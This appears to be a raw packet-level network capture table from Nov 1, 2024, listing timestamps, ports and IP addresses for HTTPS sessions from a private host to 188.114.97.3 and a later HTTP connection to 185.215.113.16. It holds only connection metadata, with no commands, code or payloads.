Nov 1, 2024 10:56:02.792557955 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:02.792567015 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:03.110626936 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:03.110714912 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:03.110788107 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:03.110917091 CET	49735	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:03.110939026 CET	443	49735	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:03.647547007 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:03.647577047 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:03.647650957 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:03.648111105 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:03.648122072 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.265975952 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.266060114 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.271560907 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.271574974 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.271758080 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.273298025 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.274192095 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.274219036 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.274357080 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.274385929 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.274497986 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.274530888 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.274688959 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.274717093 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.274876118 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.274907112 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.275069952 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.275099039 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.275110960 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.275124073 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.275263071 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.275293112 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.275317907 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.275532961 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.275566101 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.284518003 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.284748077 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.284770012 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:04.284795046 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.284826040 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.284852982 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:04.289573908 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:07.783538103 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:07.783636093 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:07.783799887 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:07.783920050 CET	49736	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:07.783941031 CET	443	49736	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:07.837450981 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:07.837498903 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:07.837574005 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:07.837903976 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:07.837914944 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.454030037 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.454123974 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:08.462523937 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:08.462542057 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.462800026 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.464245081 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:08.464265108 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:08.464313984 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.914916992 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.915025949 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.915183067 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:08.915231943 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:08.915231943 CET	49737	443	192.168.2.4	188.114.97.3
Nov 1, 2024 10:56:08.915256023 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.915271997 CET	443	49737	188.114.97.3	192.168.2.4
Nov 1, 2024 10:56:08.916413069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:08.921312094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:08.921400070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:08.921540976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:08.926582098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811486959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811515093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811527014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811568022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811582088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811583996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.811623096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.811691046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811703920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811711073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811721087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811728001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.811748028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.811779022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.816427946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.816437960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.816483974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.964699984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.964715004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.964725018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.964740038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.964771032 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.964802980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.964951038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.964962006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965001106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.965130091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965173960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965184927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965209961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.965615034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965656996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.965667009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965677023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965723038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.965783119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965794086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.965832949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.966521025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.966612101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.966623068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.966650963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.966660976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.966703892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.967152119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.967186928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.967196941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.967221022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.967253923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.967295885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.969618082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.969635963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.969645977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.969657898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:09.969679117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:09.969707012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119198084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119223118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119229078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119282961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119328022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119364023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119364023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119378090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119389057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119425058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119488001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119528055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119554996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119607925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119645119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119646072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119718075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119757891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119776964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119788885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119832039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119853973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119929075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119940042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119951010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.119966984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.119982958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.120104074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120162964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120174885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120208025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.120292902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120311022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120321989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120331049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.120333910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120372057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.120417118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120457888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.120753050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120794058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120805979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120835066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.120919943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120930910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120942116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120953083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.120958090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.120971918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.121103048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121118069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121145964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.121294975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121330976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121334076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.121342897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121380091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.121474028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121485949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121496916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121507883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121522903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.121537924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.121614933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121628046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121669054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.121738911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121751070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121761084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.121788025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.122234106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.122275114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.124298096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.124366999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.124423027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.272633076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272650003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272660971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272707939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.272718906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272728920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272738934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272748947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272804976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.272804976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.272912979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272923946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.272965908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273148060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273158073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273173094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273200989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273205042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273216963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273226976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273232937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273238897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273252964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273292065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273320913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273330927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273339987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273391008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273454905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273464918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273473978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273484945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273489952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273514032 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273650885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273660898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273670912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273680925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273693085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273704052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273705959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273716927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273727894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.273744106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.273776054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274152994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274168015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274178028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274194002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274202108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274204969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274216890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274226904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274229050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274245977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274261951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274279118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274281979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274329901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274342060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274353027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274360895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274399042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274523020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274533987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274544001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274554968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274566889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274566889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274616957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274617910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274719000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274729967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274739981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274751902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274764061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.274770021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.274800062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.277690887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.277760983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.277887106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.277898073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.277908087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.277931929 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278029919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278042078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278052092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278076887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278093100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278099060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278110027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278120995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278131962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278163910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278193951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278248072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278259039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278270006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278280973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278291941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278304100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278445005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278455973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278465986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278476000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278480053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278510094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278538942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278565884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278578043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278589010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278599977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278613091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278639078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278639078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278688908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278707027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278861046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278888941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278899908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.278907061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.278937101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.279014111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279023886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279033899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279045105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279056072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279067039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279073000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.279108047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.279108047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.279391050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279402018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279417992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.279428005 CET	80	49738	185.215.113.16	192.168.2.4
